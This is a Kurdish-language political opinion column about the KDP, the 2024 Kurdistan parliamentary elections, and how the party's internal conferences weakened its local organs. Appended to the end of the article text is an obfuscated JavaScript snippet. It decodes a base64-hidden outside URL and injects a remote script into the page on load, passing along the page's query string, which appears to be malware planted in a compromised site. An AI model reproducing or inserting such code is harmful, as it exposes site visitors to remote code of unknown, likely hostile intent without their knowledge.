پارتی و دو هه‌لبژارتن
غیاس خالد زێبارى
به‌ری دیاركرنا رۆژا ٢٠/١٠/٢٠٢٤ وه‌ك ژڤانێ هه‌لبژارتنێن په‌رله‌مانێ كوردستانێ پڕانیا پارتیێن كوردستانێ بایكۆتكرنا وان هه‌لبژارتنا ژلایێ پارتی ب ترس و ره‌ڤین لڤێ پرۆسێ ددا دیاركرن، د بنه‌ڕه‌تدا ئه‌و هه‌ڵویستێ پارتی هه‌لوه‌سته‌كێ نشتیمانی بوو چونكی دژی مایتێكرن و ده‌ستكاریا پێشوه‌خت یا هه‌لبژارتنا بوو ژلیێ چه‌ند لایه‌نه‌كێن دیاركری، له‌وما ئه‌و هه‌لوه‌ستێ هاته ل به‌رچاڤگرتن ژلایێ دادگه‌ها فیدرال و كۆمسیونا هه‌لبژارتنێن ئیراقێ و جڤاكێ نیڤده‌وله‌تی ڤه.
بریارا پارتی بۆ ئه‌نجامدانا كۆنفرانسێن ناڤخوه‌یی د ڤان كاودانان دا په‌یامه‌كا رۆن و ئاشكرا بوو كو پارتی پارتیه‌كا دیموكراسی و جه‌ماوه‌ری یه و باوه‌ری ب ئه‌نجامێن هه‌لبژارتنا هه‌یه، ژلایه‌كێ دیتر پارتی ب هه‌بوونا سه‌رۆك بارزانی و رێبازا بارزان ئێك باوه‌ری و ئێكرێزیا ناڤخوه‌یی گه‌ڕه‌نتیكریه و تووشی دوبه‌ره‌كیێن ناڤخوه‌یی نابیت، لێ ژبه‌ر شێوازێ پێكهاتێ جڤاكێ كوردستانێ ب تایبهت ل ده‌رڤه‌ی باژێران، ڤان كۆنفرانسان ئۆرگانێن پارتی لاوازكرن، چونكی پڕانیا كادرێن خودان شیان و ب ئه‌زموون بوونه قوربانی ڤی شێوازێ خێله‌كیێ جڤاكێ كوردستانێ و كار گه‌هشتیه وی ئاستی، ژبه‌ر گڤاشێن هنده‌ك كه‌سایه‌تیێن جڤاكی ده‌نگده‌ر بێ حه‌زا خوه ده‌نگی ب هنده‌ك كه‌سان بده‌ت، كادرێن خودان شیان هاتنه دووركرن و ئێشاندن. ئه‌ڤ چه‌نده ژی دێ بیته ئه‌گه‌رێ لاوازبوونا ئۆرگانێن پارتی، نه‌خاسمه یێن ناڤچه و رێكخراوا، دێ كاریگه‌ریه‌كا نه‌رێنی لسه‌ر هه‌لبژارتنێن داهاتی یێن په‌رله‌مانێ كوردستانێ كه‌ت.
راسته ب ڤان كۆنفراسا پارتی شییا هند‌ك لاوێن خوون گه‌رم و نوو بهێنه پێش كو ژلایێ جه‌سته‌یی و چالاكیێن هونه‌ری و وه‌رزشی و سۆشیال میدیایی لڤینه‌كا باشتر بكه‌ن، لێ ژبه‌ر كێم ئه‌زموونیێ ژلایێ رێكخستنێ و په‌یوه‌ندیێن جڤاكی و دارشتنا پلان و به‌رنامێن درێژخایه‌ن د سه‌ركه‌فتی نابن، ژبه‌ر وان ئه‌گه‌رێن مه پێشتر دیاركری نه‌شێن خۆ دگه‌ل پێشهاتا بگونجینن، بتایبه‌ت پلان و به‌رنامه‌یێن خوه ئاماده‌كرنا هه‌لبژارتنێن گشتی یێن په‌رله‌مانێ كوردستانێ.
پێدڤی یه سه‌ركردایه‌تیا پارتی ڤێ ڕه‌وشێ زوو بهه‌لسه‌نگینیت و چاره‌یه‌كا بله‌ز بۆ ببینیت، بۆ بهێزتركرنا ئۆرگانێن خوارێ یێن پارت كۆ هێلا په‌یوه‌ندیێن راسته‌وخوه‌نه ل گه‌ل جه‌ماوه‌ری، و ئه‌ز باوه‌رم سه‌ركردایه‌تیا پارتی ب چاڤدێری و رێنمایی یێن سه‌رۆك مه‌سعود بارزانی چاوا بۆ هه‌می ره‌وش و پێشهاتێن مه‌زن خواندنه‌كا باش و ئه‌رێنی هه‌بوویه و شیایه بسه‌ر زال ببیت و ب سه‌رفیرازی و سه‌ركه‌فتیانه لێ ده‌رباز بوویه، دێ خاندنه‌كا ئه‌رێنی ژی بۆ ناڤخۆی پارتی هه‌بیت و ل ده‌مه‌كێ زوو دێ ڤالاهیان پڕ كه‌ته‌ڤه و دێ هه‌ر هێزا ئێكه‌ما بێ ركابه‌ر بیت ل گۆڕه‌پانا سیاسی و ئیداریا هه‌رێما كوردستانێ.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
